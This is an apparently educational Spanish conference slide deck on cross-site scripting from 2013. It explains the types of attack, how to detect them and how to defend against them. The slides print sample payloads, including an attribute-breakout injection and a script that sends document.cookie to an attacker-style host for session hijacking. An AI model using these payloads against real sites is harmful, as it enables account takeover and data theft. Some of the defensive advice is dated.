SlideShare uma empresa Scribd logo
1 de 34
Leganés
6-7 Febrero 2013

www.1gbdeinformacion.com

Except where otherwise noted, this work is licensed under: http://creativecommons.org/licenses/by-nc-sa/3.0/

c_b_n_a
Leganés
6-7 Febrero 2013

Iniciándose en XSS

QUIEN SOY
Roberto García Amoriz: trabajo como Administrador de Sistemas
Informáticos y Redes de Comunicaciones desde hace más de 10 años,
proporcionando soporte a empresas líderes del sector.
Apasionado de la Seguridad Informática, publico regularmente artículos
sobre diversos temas relacionados con la tecnología y la seguridad desde mi
blog www.1gbdeinformacion.com
• Colaborador en Estación Informática y en Security By Default.
• Ponente en los talleres de seguridad en las jornadas X1RedMasSegura.
• Ponente en las 2ª HighsecCON.

2
Leganés
6-7 Febrero 2013

Iniciándose en XSS

Índice
1. Introducción
2. Definición de ataques XSS
3. Tipos de ataques XSS
4. Partes de un ataque XSS
5. Detectar aplicación web vulnerable
6. Ejemplos de ataques XSS
7. Soluciones a los ataques XSS

3
Leganés
6-7 Febrero 2013

Iniciándose en XSS

¿Qué es XSS?
• Es un ataque de inyección de código malicioso que puede realizarse a sitios web,
aplicaciones locales e incluso al propio navegador.
• Sucede cuando un atacante envía código malicioso a la aplicación web y se coloca
en forma de un hipervínculo para conducir al usuario a otro sitio web…

4
Leganés
6-7 Febrero 2013

Iniciándose en XSS

1. Introducción
Cross Site Scripting (XSS)
• Los ataques XSS se pueden perpetrar en cualquier web que permita ejecutar código
de “scripting” como Java Script, Visual Basic Scrip (VBS), Action Script (flash) etc.

• Para llevarlo a cabo es necesario encontrar un punto de entrada, normalmente los
formularios, cuadros de búsqueda etc.
• Estos datos no se validan correctamente en algunas aplicaciones, permitiendo la
ejecución de ese código.
• En un ataque XSS es posible acceder a partes restringidas, recuperar información del
usuario, secuestrar cuentas e incluso modificar el contenido del sitio.
5
Leganés
6-7 Febrero 2013

Iniciándose en XSS

2. Definición de ataques XSS
¿En qué consiste?
• Son vulnerabilidades en sitios web que se aprovechan de la falta de sistemas de
filtrado y de validación en los campos de entrada. Estos permiten el envío de scripts
(Java Script, Visual Basic Script etc) para su posterior ejecución.
• Ese código se interpreta en la parte cliente (el navegador) y no en la parte del servidor,
de manera que si se inyecta una parte de código en una pagina web, no se dañaría el
servidor, ya que él no interpreta el código, solo la parte del navegador.
• Este ataque se denomina  ataque del lado cliente.

6
Leganés
6-7 Febrero 2013

Iniciándose en XSS

2. Definición de ataques XSS
Una página es vulnerable a XSS cuando lo que nosotros enviamos al
servidor (un comentario, un cambio en un perfil, una búsqueda, etc.) se
ve reflejado posteriormente en la página de respuesta.

7
Leganés
6-7 Febrero 2013

Iniciándose en XSS

2. Definición de ataques XSS
Riesgos
• Acceso a zonas restringidas.

• Robo de credenciales.
• Modificación del contenido del sitio (defacement).
• Phishing.

• Navegación dirigida.

8
Leganés
6-7 Febrero 2013

Iniciándose en XSS

2. Definición de ataques XSS
Recursos utilizados
• Correo web.
• Mensajes en foros.

• Libros de visita.
• Cuadros de búsqueda.
• Formularios de contactos

9
Leganés
6-7 Febrero 2013

Iniciándose en XSS

3. Tipos de ataques XSS
• Persistente
• Se produce cuando un atacante consigue inyectar código malicioso en una web que es
vulnerable.
• El código inyectado queda “almacenado” en la base de datos de una web
(formularios) y cuando los usuarios visitan esa web el código se ejecuta.
• Se suele producir en las aplicaciones que permiten a un usuario almacenar algún tipo
de dato.
• Permite tomar el control de navegador de la victima, recoger información, realizar un
defacement, ejecutar exploits basados en navegador, etc.
• Son los ataques XSS más peligrosos.

10
Leganés
6-7 Febrero 2013

Iniciándose en XSS

3. Tipos de ataques XSS
• No persistente
• Es un tipo de inyección de código que no se ejecuta con la aplicación web, si no que se
origina cuando la víctima carga una URL en el navegador.
• La URL es modificada en la web para que se obtenga un resultado distinto al esperado.

Vulnerabilidad encontrada por@Dylan_irzi11

11
Leganés
6-7 Febrero 2013

Iniciándose en XSS

<!-- Aclaración-->

12
Leganés
6-7 Febrero 2013

Iniciándose en XSS

4. Partes de un ataque XSS
(Visto como el atacante)

• Inyección del código: Identificar que código se puede introducir.

• POC: ¿Qué puedes hacer con el XSS? ¿Robo de credenciales?, ¿defacement?, etc.

• Llevar a cabo el daño. Suplantación de identidad, envío de Spam, etc.

13
Leganés
6-7 Febrero 2013

Iniciándose en XSS

Vale, que sí ¿pero como atacan?
• El código se copia entre dos etiquetas HTML: Solo debemos introducir el código Javascript que queremos ejecutar.
<script>alert(“Ataque XSS");</script>
• El código se copia dentro de una etiqueta value de una etiqueta <input>.
<input type=“text" name=“q2” value="[busqueda]" />
Este código queda situado entre comillas dobles de un atributo que pertenece a una etiqueta HTML y no permite que
se ejecute, así que es necesario cerrar la etiqueta HTML e insertar después el código Javascript.
"/><script>alert(“Ataque XSS");</script><div class=“
Quedando de esta manera:
<input type="text" name="q2" value=“busqueda"/>
<script>alert(“Ataque XSS");</script><div class="" />
Al final del código se introduce una etiqueta <div> para evitar la malformación del código HTML.

14
Leganés
6-7 Febrero 2013

Iniciándose en XSS

5. Detectar aplicación web vulnerable
• Detectar la vulnerabilidad a través de formulario
Ej: <script>alert(“akil3s”);</script>

15
Leganés
6-7 Febrero 2013

Iniciándose en XSS

5. Detectar aplicación web vulnerable
• Detectar la vulnerabilidad a través de URL
Ej: http://tuweb.com/index.html?nombre=<script>alert(“La alerta”);</script>

Alberto Segura. http://elladodelnovato.blogspot.com.es/

16
Leganés
6-7 Febrero 2013

Iniciándose en XSS

6. Ejemplos de ataques XSS
Robo de cookies y sesión

• Mediante la propiedad document.cookie podemos sacar la cookie que está usando
el usuario:
<script language="javascript">
alert(“TeRobolaCookie: " + document.cookie);
</script>
• Si conseguimos sacar ese dato fuera y el control de sesión es demasiado simple, se
puede realizar un “session hijacking “o secuestro de sesión.
<script>
document.location.href = "http://robocookie.com/recibir.php?ck="+
document.cookie;
</script>

17
Leganés
6-7 Febrero 2013

Iniciándose en XSS

6. Ejemplos de ataques XSS
Los atacantes consiguieron modificar (deface) la imagen del video de bienvenida del
presidente del gobierno por otra imagen, en este caso Mr Bean.

18
Leganés
6-7 Febrero 2013

Iniciándose en XSS

Juan Carlos García: http://hackingmadrid.blogspot.com.es/2012/05/hacking-madrideasy-xss-and-cross-site.html

19
Leganés
6-7 Febrero 2013

Iniciándose en XSS

6. Ejemplos de ataques XSS

El atacante mediante el uso de Java Script conseguía la cookie de usuario, logrando
redireccionar su contenido a un servidor web controlado, lo que permitía al atacante
acceder a los mensajes privados, agregar nuevas aplicaciones sin ser autorizado, ver la
lista de contactos, las imágenes privadas de la víctima, etc.
20
Leganés
6-7 Febrero 2013

Iniciándose en XSS

6. Ejemplos de ataques XSS
Los atacantes consiguieron atacar Youtube inyectando código desde el área de comentarios.
Consiguieron forzar mensajes pop-up para que apareciesen en la pagina y redireccionaron a
los visitantes a paginas que contenían malware.

21
Leganés
6-7 Febrero 2013

Iniciándose en XSS

6. Ejemplos de ataques XSS
Cuando se crea una lista nueva de contactos en Twitter, si el nombre de la lista
lo cambiamos por código de scripting, este se valida en la web.

Alberto Segura: http://elladodelnovato.blogspot.com.es/2013/01/vulnerabilidad-xss-en-twitter.html

22
Leganés
6-7 Febrero 2013

Iniciándose en XSS

Time for demo

23
Leganés
6-7 Febrero 2013

Iniciándose en XSS

7. Soluciones a los ataques XSS
 Al diseñar las aplicaciones

• Se debe verificar siempre que el tipo de datos y la longitud de los campos se
correspondan con lo esperado. Hay que filtrar los caracteres que puedan resultar
dañinos.

• Las aplicaciones web deben programarse filtrando determinados comandos
como: script, form, applet, object , embed, marquee, img src...
• Cuando se detecten posibles ataques enviar mensajes de alerta intimidatorios.
24
Leganés
6-7 Febrero 2013

Iniciándose en XSS

7. Soluciones a los ataques XSS
 Usar las ultimas versiones de los navegadores
• Desde la versión de Internet Explorer 8 si intentas acceder a una página web que
ha sufrido un ataque XSS, aparece un mensaje avisando de que la web ha sido
modificada.
• Esto es debido a que el filtro Anti XSS de IE detecta la manipulación de la pagina
a través de la inyección de código en un parámetro.
* Por esto, es muy recomendable tener siempre actualizado todo el software de tu
equipo.
25
Leganés
6-7 Febrero 2013

Iniciándose en XSS

7. Soluciones a los ataques XSS
• Los usuarios también pueden protegerse contra los ataques XSS configurando los
navegadores para impedir que se ejecuten lenguajes de scripting (NoScript). Esto no
dará una solución óptima para el usuario porque hay paginas que no funcionan
correctamente si se prohíbe la ejecución de código dinámico.
• Una solución mas viable para impedir ataques XSS pasa por diseñar una pagina web
“sin vulnerabilidades”, para ello el diseñador debe:







Verificar el formato de los datos que van a poder introducir los usuarios.
Codificar los datos visibles al usuario reemplazando los caracteres especiales.
Revisar las cookies.
El código introducido no puede ser superior a X caracteres.
Al terminar una pagina web, contratar los servicios de un auditor de seguridad para
que haga una prueba antes de poner la web en producción.
26
Leganés
6-7 Febrero 2013

Iniciándose en XSS

7. Soluciones a los ataques XSS
• Ejemplo practico.
Vamos a ver como disminuir los problemas generados por los ataques XSS.

27
Leganés
6-7 Febrero 2013

Iniciándose en XSS

• En el ejemplo anterior vemos como filtramos los datos que el usuario puede enviar al
site. En la primera línea vemos que se están omitiendo los espacios.

• En la segunda línea estamos evitando problemas con la codificación Unicode.

• En las siguientes líneas estamos omitiendo los caracteres.

28
Leganés
6-7 Febrero 2013

Iniciándose en XSS

• XSS en hexadecimal
Con lo que hemos visto anteriormente, podríamos parar los pies a los ScriptKiddies,
pero, ¿que pasaría si nos encontramos con alguien con mas experiencia?
Alguien como el de la foto, que ya se las sabe todas, podría hacer
algo como esto:

Aquí habría un cambio del código, de ASCII a Hexadecimal en una
petición GET.
El navegador lo interpretaría de la siguiente manera.

Jose Selvi  pentester.es

29
Leganés
6-7 Febrero 2013

Iniciándose en XSS

• Por eso en la tercera imagen lo habíamos evitado omitiendo los caracteres # y % ya
que directamente los convierte a UTF-8.

• Al contrario de lo que muchos piensan, un sitio web que utilice SSL (HTTPS) no esta más
protegido que uno que no esté cifrado. Las aplicaciones web funcionan de la misma
manera, excepto que el ataque se lleva a cabo en una conexión cifrada.
30
Leganés
6-7 Febrero 2013

Iniciándose en XSS

31
Leganés
6-7 Febrero 2013

Iniciándose en XSS

• Todos los servidores web, servidores de aplicaciones y entornos de
aplicaciones web son susceptibles de un ataque XSS.
• Los sitios que han sufrido (o tienen) ataques XSS también pueden tener
ataques de fuerza bruta o de denegación del servicio (DOS).
• No confiar nunca en los datos introducidos por los usuarios, debemos
tratarlos todos como “potencialmente peligrosos”.
• Para terminar, comentar que hay frameworks como Symphony o CakePHP que
ya se encargan de implementar este tipo de seguridad, como también lo hacen
ciertos gestores de contenidos.
• También hay Add-ons para Firefox como XSS Me o Domsnitch para Chrome que
ayudan a paliar los problemas con ataques XSS en el proceso de desarrollo web.

32
Leganés
6-7 Febrero 2013

Iniciándose en XSS

Email: info@1gbdeinformacion.com
Blog: www.1gbdeinformacion.com
Twitter: @1Gbdeinfo
33
Leganés
6-7 Febrero 2013

Iniciándose en XSS

Pedro Candel  @NN2ed_s4ur0n
Victor Calvo @aetsu
Juan Carlos García  @secnight
Daniel Garcia  @ggdaniel
Yago Jesús  @YJesus
Alberto segura  @alberto__segura
Guille @guilleSec
Email: info@1gbdeinformacion.com
Blog: www.1gbdeinformacion.com
Twitter: @1Gbdeinfo
34

Mais conteúdo relacionado

Mais procurados

Risk Analysis and Mitigation in Virtualized Environments
Risk Analysis and Mitigation in Virtualized EnvironmentsRisk Analysis and Mitigation in Virtualized Environments
Risk Analysis and Mitigation in Virtualized EnvironmentsSiddharth Coontoor
 
Robotic Process Automation: A Cohesive View
Robotic Process Automation: A Cohesive ViewRobotic Process Automation: A Cohesive View
Robotic Process Automation: A Cohesive ViewChristopher Manfredi
 
OAuth2: Uma abordagem para segurança de aplicações e APIs REST - Devcamp 2014
OAuth2: Uma abordagem para segurança de aplicações e APIs REST  - Devcamp 2014OAuth2: Uma abordagem para segurança de aplicações e APIs REST  - Devcamp 2014
OAuth2: Uma abordagem para segurança de aplicações e APIs REST - Devcamp 2014Tiago Marchetti Dolphine
 
Robotic Process Automation PowerPoint Presentation Slides
Robotic Process Automation PowerPoint Presentation Slides Robotic Process Automation PowerPoint Presentation Slides
Robotic Process Automation PowerPoint Presentation Slides SlideTeam
 

Mais procurados (7)

Ppt on cloud service
Ppt on cloud servicePpt on cloud service
Ppt on cloud service
 
Risk Analysis and Mitigation in Virtualized Environments
Risk Analysis and Mitigation in Virtualized EnvironmentsRisk Analysis and Mitigation in Virtualized Environments
Risk Analysis and Mitigation in Virtualized Environments
 
Web 3.0
Web 3.0 Web 3.0
Web 3.0
 
Metaverse
MetaverseMetaverse
Metaverse
 
Robotic Process Automation: A Cohesive View
Robotic Process Automation: A Cohesive ViewRobotic Process Automation: A Cohesive View
Robotic Process Automation: A Cohesive View
 
OAuth2: Uma abordagem para segurança de aplicações e APIs REST - Devcamp 2014
OAuth2: Uma abordagem para segurança de aplicações e APIs REST  - Devcamp 2014OAuth2: Uma abordagem para segurança de aplicações e APIs REST  - Devcamp 2014
OAuth2: Uma abordagem para segurança de aplicações e APIs REST - Devcamp 2014
 
Robotic Process Automation PowerPoint Presentation Slides
Robotic Process Automation PowerPoint Presentation Slides Robotic Process Automation PowerPoint Presentation Slides
Robotic Process Automation PowerPoint Presentation Slides
 

Destaque

Nintendo 3DS
Nintendo 3DSNintendo 3DS
Nintendo 3DSMariZev
 
Virginia tech master sans video
Virginia tech master sans videoVirginia tech master sans video
Virginia tech master sans videoDavid Ernst
 
TBN MDC '10 - Hugo Sintes - Oxfam EDP (Enterprise Development Programme)
TBN MDC '10 - Hugo Sintes - Oxfam EDP (Enterprise Development Programme)TBN MDC '10 - Hugo Sintes - Oxfam EDP (Enterprise Development Programme)
TBN MDC '10 - Hugo Sintes - Oxfam EDP (Enterprise Development Programme)Transformational Business Network
 
Elemento Agua
Elemento AguaElemento Agua
Elemento Aguapalomaan
 
Marposs at EMO 2015
Marposs at EMO 2015Marposs at EMO 2015
Marposs at EMO 2015MarpossHR
 
Catálogo Tienda 1D y Tienda JB
Catálogo Tienda 1D y Tienda JBCatálogo Tienda 1D y Tienda JB
Catálogo Tienda 1D y Tienda JBGiovanni Tardie
 
Hacer Que Su Viaje Cómodo Con El Servicio De Taxi En Miraflores , San Isidro ...
Hacer Que Su Viaje Cómodo Con El Servicio De Taxi En Miraflores , San Isidro ...Hacer Que Su Viaje Cómodo Con El Servicio De Taxi En Miraflores , San Isidro ...
Hacer Que Su Viaje Cómodo Con El Servicio De Taxi En Miraflores , San Isidro ...Taxi VIP Cars
 
Moda Club Ofertas B
Moda Club Ofertas BModa Club Ofertas B
Moda Club Ofertas BAle HB SHOP
 
Programacion copa yogurcito agosto 2 al 7 2013 ciudadela 29 julio
Programacion copa yogurcito agosto 2 al 7 2013 ciudadela 29 julioProgramacion copa yogurcito agosto 2 al 7 2013 ciudadela 29 julio
Programacion copa yogurcito agosto 2 al 7 2013 ciudadela 29 julioMONTERO ESCUELA DEPORTIVA
 
Big Joe Basic Series
Big Joe Basic SeriesBig Joe Basic Series
Big Joe Basic SeriesKRPAH
 
PhotoTalkies Magazine - February 2014
PhotoTalkies Magazine - February 2014PhotoTalkies Magazine - February 2014
PhotoTalkies Magazine - February 2014Ajay Jain
 
Teaching Summit - EP Engagement Touch Points
Teaching Summit - EP Engagement Touch PointsTeaching Summit - EP Engagement Touch Points
Teaching Summit - EP Engagement Touch PointsBun Socheata
 
Que es una auditoría informática omar moreno
Que es una auditoría informática omar morenoQue es una auditoría informática omar moreno
Que es una auditoría informática omar morenoOmar Moreno Ferro
 

Destaque (20)

Nintendo 3DS
Nintendo 3DSNintendo 3DS
Nintendo 3DS
 
Introduction of SUMICO Technologies
Introduction of SUMICO TechnologiesIntroduction of SUMICO Technologies
Introduction of SUMICO Technologies
 
Virginia tech master sans video
Virginia tech master sans videoVirginia tech master sans video
Virginia tech master sans video
 
TBN MDC '10 - Hugo Sintes - Oxfam EDP (Enterprise Development Programme)
TBN MDC '10 - Hugo Sintes - Oxfam EDP (Enterprise Development Programme)TBN MDC '10 - Hugo Sintes - Oxfam EDP (Enterprise Development Programme)
TBN MDC '10 - Hugo Sintes - Oxfam EDP (Enterprise Development Programme)
 
Murice Bodas 2016
Murice Bodas 2016Murice Bodas 2016
Murice Bodas 2016
 
Elemento Agua
Elemento AguaElemento Agua
Elemento Agua
 
Reglas Para Ver El Mundial
Reglas Para Ver El MundialReglas Para Ver El Mundial
Reglas Para Ver El Mundial
 
Marposs at EMO 2015
Marposs at EMO 2015Marposs at EMO 2015
Marposs at EMO 2015
 
Catálogo Tienda 1D y Tienda JB
Catálogo Tienda 1D y Tienda JBCatálogo Tienda 1D y Tienda JB
Catálogo Tienda 1D y Tienda JB
 
201411 public relations_en
201411 public relations_en201411 public relations_en
201411 public relations_en
 
HemantCV
HemantCVHemantCV
HemantCV
 
Fci 4 09[1]
Fci 4 09[1]Fci 4 09[1]
Fci 4 09[1]
 
Hacer Que Su Viaje Cómodo Con El Servicio De Taxi En Miraflores , San Isidro ...
Hacer Que Su Viaje Cómodo Con El Servicio De Taxi En Miraflores , San Isidro ...Hacer Que Su Viaje Cómodo Con El Servicio De Taxi En Miraflores , San Isidro ...
Hacer Que Su Viaje Cómodo Con El Servicio De Taxi En Miraflores , San Isidro ...
 
Moh nano ti o2
Moh nano ti o2Moh nano ti o2
Moh nano ti o2
 
Moda Club Ofertas B
Moda Club Ofertas BModa Club Ofertas B
Moda Club Ofertas B
 
Programacion copa yogurcito agosto 2 al 7 2013 ciudadela 29 julio
Programacion copa yogurcito agosto 2 al 7 2013 ciudadela 29 julioProgramacion copa yogurcito agosto 2 al 7 2013 ciudadela 29 julio
Programacion copa yogurcito agosto 2 al 7 2013 ciudadela 29 julio
 
Big Joe Basic Series
Big Joe Basic SeriesBig Joe Basic Series
Big Joe Basic Series
 
PhotoTalkies Magazine - February 2014
PhotoTalkies Magazine - February 2014PhotoTalkies Magazine - February 2014
PhotoTalkies Magazine - February 2014
 
Teaching Summit - EP Engagement Touch Points
Teaching Summit - EP Engagement Touch PointsTeaching Summit - EP Engagement Touch Points
Teaching Summit - EP Engagement Touch Points
 
Que es una auditoría informática omar moreno
Que es una auditoría informática omar morenoQue es una auditoría informática omar moreno
Que es una auditoría informática omar moreno
 

Semelhante a Xss attacks

Webinar Gratuito "Vulnerabilidades en Aplicaciones Web"
Webinar Gratuito "Vulnerabilidades en Aplicaciones Web"Webinar Gratuito "Vulnerabilidades en Aplicaciones Web"
Webinar Gratuito "Vulnerabilidades en Aplicaciones Web"Alonso Caballero
 
Clase 6 Practica.pptx
Clase 6 Practica.pptxClase 6 Practica.pptx
Clase 6 Practica.pptxFelipeLoaiza7
 
Webinar Gratuito: "Escanear Vulnerabilidades Web con Zed Attack Proxy"
Webinar Gratuito: "Escanear Vulnerabilidades Web con Zed Attack Proxy"Webinar Gratuito: "Escanear Vulnerabilidades Web con Zed Attack Proxy"
Webinar Gratuito: "Escanear Vulnerabilidades Web con Zed Attack Proxy"Alonso Caballero
 
Samurai Web Testing Framework 2.0
Samurai Web Testing Framework 2.0Samurai Web Testing Framework 2.0
Samurai Web Testing Framework 2.0Alonso Caballero
 
Desarrollo seguro en NodeJS (OWASP top ten y JWT)
Desarrollo seguro en NodeJS (OWASP top ten y JWT)Desarrollo seguro en NodeJS (OWASP top ten y JWT)
Desarrollo seguro en NodeJS (OWASP top ten y JWT)Raúl Requero García
 
Seguridad web
Seguridad webSeguridad web
Seguridad webcamposer
 
Cer tuy capacitaciones2011_v1
Cer tuy capacitaciones2011_v1Cer tuy capacitaciones2011_v1
Cer tuy capacitaciones2011_v1Andrés Gómez
 
Websecurify an dwebgoat terminado
Websecurify an dwebgoat terminadoWebsecurify an dwebgoat terminado
Websecurify an dwebgoat terminadoAraceli Rodriguez
 
Webinar Gratuito: Cross-Site Scripting (XSS)
Webinar Gratuito: Cross-Site Scripting (XSS)Webinar Gratuito: Cross-Site Scripting (XSS)
Webinar Gratuito: Cross-Site Scripting (XSS)Alonso Caballero
 
Ataques a aplicaciones web
Ataques a aplicaciones webAtaques a aplicaciones web
Ataques a aplicaciones webAlan Resendiz
 
XSS to the MAX - Juan Manuel Garcia (OWASP LATAM TOUR 2016)
XSS to the MAX - Juan Manuel Garcia (OWASP LATAM TOUR 2016)XSS to the MAX - Juan Manuel Garcia (OWASP LATAM TOUR 2016)
XSS to the MAX - Juan Manuel Garcia (OWASP LATAM TOUR 2016)kernelinux
 
Racciatti Html Scripting Attacks
Racciatti Html Scripting AttacksRacciatti Html Scripting Attacks
Racciatti Html Scripting AttacksCristian Borghello
 
Seguridad en servidores WEB. Modulo mod_security
Seguridad en servidores WEB. Modulo mod_securitySeguridad en servidores WEB. Modulo mod_security
Seguridad en servidores WEB. Modulo mod_securityseguridadelinux
 

Semelhante a Xss attacks (20)

Xss attacks V2.0
Xss attacks V2.0Xss attacks V2.0
Xss attacks V2.0
 
Webinar Gratuito "Vulnerabilidades en Aplicaciones Web"
Webinar Gratuito "Vulnerabilidades en Aplicaciones Web"Webinar Gratuito "Vulnerabilidades en Aplicaciones Web"
Webinar Gratuito "Vulnerabilidades en Aplicaciones Web"
 
Clase 6 Practica.pptx
Clase 6 Practica.pptxClase 6 Practica.pptx
Clase 6 Practica.pptx
 
Webinar Gratuito: "Escanear Vulnerabilidades Web con Zed Attack Proxy"
Webinar Gratuito: "Escanear Vulnerabilidades Web con Zed Attack Proxy"Webinar Gratuito: "Escanear Vulnerabilidades Web con Zed Attack Proxy"
Webinar Gratuito: "Escanear Vulnerabilidades Web con Zed Attack Proxy"
 
Samurai Web Testing Framework 2.0
Samurai Web Testing Framework 2.0Samurai Web Testing Framework 2.0
Samurai Web Testing Framework 2.0
 
Desarrollo seguro en NodeJS (OWASP top ten y JWT)
Desarrollo seguro en NodeJS (OWASP top ten y JWT)Desarrollo seguro en NodeJS (OWASP top ten y JWT)
Desarrollo seguro en NodeJS (OWASP top ten y JWT)
 
Xss con javascript
Xss con javascriptXss con javascript
Xss con javascript
 
Seguridad web
Seguridad webSeguridad web
Seguridad web
 
Cer tuy capacitaciones2011_v1
Cer tuy capacitaciones2011_v1Cer tuy capacitaciones2011_v1
Cer tuy capacitaciones2011_v1
 
Websecurify an dwebgoat terminado
Websecurify an dwebgoat terminadoWebsecurify an dwebgoat terminado
Websecurify an dwebgoat terminado
 
Webinar Gratuito: Cross-Site Scripting (XSS)
Webinar Gratuito: Cross-Site Scripting (XSS)Webinar Gratuito: Cross-Site Scripting (XSS)
Webinar Gratuito: Cross-Site Scripting (XSS)
 
Owasp proyecto
Owasp proyectoOwasp proyecto
Owasp proyecto
 
Xss a fondo
Xss a fondoXss a fondo
Xss a fondo
 
Ataques a aplicaciones web
Ataques a aplicaciones webAtaques a aplicaciones web
Ataques a aplicaciones web
 
Completo conferencia seguridad_web_software_libre_2015
Completo conferencia seguridad_web_software_libre_2015Completo conferencia seguridad_web_software_libre_2015
Completo conferencia seguridad_web_software_libre_2015
 
Seguridad en los sistemas web
Seguridad en los sistemas webSeguridad en los sistemas web
Seguridad en los sistemas web
 
XSS to the MAX - Juan Manuel Garcia (OWASP LATAM TOUR 2016)
XSS to the MAX - Juan Manuel Garcia (OWASP LATAM TOUR 2016)XSS to the MAX - Juan Manuel Garcia (OWASP LATAM TOUR 2016)
XSS to the MAX - Juan Manuel Garcia (OWASP LATAM TOUR 2016)
 
Racciatti Html Scripting Attacks
Racciatti Html Scripting AttacksRacciatti Html Scripting Attacks
Racciatti Html Scripting Attacks
 
Seguridad en servidores WEB. Modulo mod_security
Seguridad en servidores WEB. Modulo mod_securitySeguridad en servidores WEB. Modulo mod_security
Seguridad en servidores WEB. Modulo mod_security
 
Aplicaciones Web Seguras (Anti-SQLi)
Aplicaciones Web Seguras (Anti-SQLi)Aplicaciones Web Seguras (Anti-SQLi)
Aplicaciones Web Seguras (Anti-SQLi)
 

Mais de Rober Garamo

Eres más hackeable de lo que crees
Eres más hackeable de lo que creesEres más hackeable de lo que crees
Eres más hackeable de lo que creesRober Garamo
 
T3ch fest leganes_final
T3ch fest leganes_finalT3ch fest leganes_final
T3ch fest leganes_finalRober Garamo
 
Los peligros de internet
Los peligros de internetLos peligros de internet
Los peligros de internetRober Garamo
 
Contraseñas seguras
Contraseñas segurasContraseñas seguras
Contraseñas segurasRober Garamo
 
Como tener una contraseña segura
Como tener una contraseña seguraComo tener una contraseña segura
Como tener una contraseña seguraRober Garamo
 
Complementando el contro parental III
Complementando  el contro parental IIIComplementando  el contro parental III
Complementando el contro parental IIIRober Garamo
 
Complementando El control parental II de III
Complementando El control parental II de IIIComplementando El control parental II de III
Complementando El control parental II de IIIRober Garamo
 
Complementando el control parental I de III
Complementando el control parental I de IIIComplementando el control parental I de III
Complementando el control parental I de IIIRober Garamo
 
El control parental en Windows 7
El control parental en Windows 7El control parental en Windows 7
El control parental en Windows 7Rober Garamo
 

Mais de Rober Garamo (10)

Eres más hackeable de lo que crees
Eres más hackeable de lo que creesEres más hackeable de lo que crees
Eres más hackeable de lo que crees
 
T3ch fest leganes_final
T3ch fest leganes_finalT3ch fest leganes_final
T3ch fest leganes_final
 
Los peligros de internet
Los peligros de internetLos peligros de internet
Los peligros de internet
 
Contraseñas seguras
Contraseñas segurasContraseñas seguras
Contraseñas seguras
 
Empezando con mac
Empezando con macEmpezando con mac
Empezando con mac
 
Como tener una contraseña segura
Como tener una contraseña seguraComo tener una contraseña segura
Como tener una contraseña segura
 
Complementando el contro parental III
Complementando  el contro parental IIIComplementando  el contro parental III
Complementando el contro parental III
 
Complementando El control parental II de III
Complementando El control parental II de IIIComplementando El control parental II de III
Complementando El control parental II de III
 
Complementando el control parental I de III
Complementando el control parental I de IIIComplementando el control parental I de III
Complementando el control parental I de III
 
El control parental en Windows 7
El control parental en Windows 7El control parental en Windows 7
El control parental en Windows 7
 

Último

PPT_Formación integral y educación CRESE (1).pdf
PPT_Formación integral y educación CRESE (1).pdfPPT_Formación integral y educación CRESE (1).pdf
PPT_Formación integral y educación CRESE (1).pdfEDILIAGAMBOA
 
TUTORIA II - CIRCULO DORADO UNIVERSIDAD CESAR VALLEJO
TUTORIA II - CIRCULO DORADO UNIVERSIDAD CESAR VALLEJOTUTORIA II - CIRCULO DORADO UNIVERSIDAD CESAR VALLEJO
TUTORIA II - CIRCULO DORADO UNIVERSIDAD CESAR VALLEJOweislaco
 
Introducción:Los objetivos de Desarrollo Sostenible
Introducción:Los objetivos de Desarrollo SostenibleIntroducción:Los objetivos de Desarrollo Sostenible
Introducción:Los objetivos de Desarrollo SostenibleJonathanCovena1
 
Uses of simple past and time expressions
Uses of simple past and time expressionsUses of simple past and time expressions
Uses of simple past and time expressionsConsueloSantana3
 
LA ECUACIÓN DEL NÚMERO PI EN LOS JUEGOS OLÍMPICOS DE PARÍS. Por JAVIER SOLIS ...
LA ECUACIÓN DEL NÚMERO PI EN LOS JUEGOS OLÍMPICOS DE PARÍS. Por JAVIER SOLIS ...LA ECUACIÓN DEL NÚMERO PI EN LOS JUEGOS OLÍMPICOS DE PARÍS. Por JAVIER SOLIS ...
LA ECUACIÓN DEL NÚMERO PI EN LOS JUEGOS OLÍMPICOS DE PARÍS. Por JAVIER SOLIS ...JAVIER SOLIS NOYOLA
 
TRIPTICO-SISTEMA-MUSCULAR. PARA NIÑOS DE PRIMARIA
TRIPTICO-SISTEMA-MUSCULAR. PARA NIÑOS DE PRIMARIATRIPTICO-SISTEMA-MUSCULAR. PARA NIÑOS DE PRIMARIA
TRIPTICO-SISTEMA-MUSCULAR. PARA NIÑOS DE PRIMARIAAbelardoVelaAlbrecht1
 
Mapa Mental de estrategias de articulación de las areas curriculares.pdf
Mapa Mental de estrategias de articulación de las areas curriculares.pdfMapa Mental de estrategias de articulación de las areas curriculares.pdf
Mapa Mental de estrategias de articulación de las areas curriculares.pdfvictorbeltuce
 
c3.hu3.p1.p3.El ser humano como ser histórico.pptx
c3.hu3.p1.p3.El ser humano como ser histórico.pptxc3.hu3.p1.p3.El ser humano como ser histórico.pptx
c3.hu3.p1.p3.El ser humano como ser histórico.pptxMartín Ramírez
 
LINEAMIENTOS INICIO DEL AÑO LECTIVO 2024-2025.pptx
LINEAMIENTOS INICIO DEL AÑO LECTIVO 2024-2025.pptxLINEAMIENTOS INICIO DEL AÑO LECTIVO 2024-2025.pptx
LINEAMIENTOS INICIO DEL AÑO LECTIVO 2024-2025.pptxdanalikcruz2000
 
DECÁGOLO DEL GENERAL ELOY ALFARO DELGADO
DECÁGOLO DEL GENERAL ELOY ALFARO DELGADODECÁGOLO DEL GENERAL ELOY ALFARO DELGADO
DECÁGOLO DEL GENERAL ELOY ALFARO DELGADOJosé Luis Palma
 
SINTAXIS DE LA ORACIÓN SIMPLE 2023-2024.pptx
SINTAXIS DE LA ORACIÓN SIMPLE 2023-2024.pptxSINTAXIS DE LA ORACIÓN SIMPLE 2023-2024.pptx
SINTAXIS DE LA ORACIÓN SIMPLE 2023-2024.pptxlclcarmen
 
Los Nueve Principios del Desempeño de la Sostenibilidad
Los Nueve Principios del Desempeño de la SostenibilidadLos Nueve Principios del Desempeño de la Sostenibilidad
Los Nueve Principios del Desempeño de la SostenibilidadJonathanCovena1
 
PPT GESTIÓN ESCOLAR 2024 Comités y Compromisos.pptx
PPT GESTIÓN ESCOLAR 2024 Comités y Compromisos.pptxPPT GESTIÓN ESCOLAR 2024 Comités y Compromisos.pptx
PPT GESTIÓN ESCOLAR 2024 Comités y Compromisos.pptxOscarEduardoSanchezC
 
Unidad II Doctrina de la Iglesia 1 parte
Unidad II Doctrina de la Iglesia 1 parteUnidad II Doctrina de la Iglesia 1 parte
Unidad II Doctrina de la Iglesia 1 parteJuan Hernandez
 
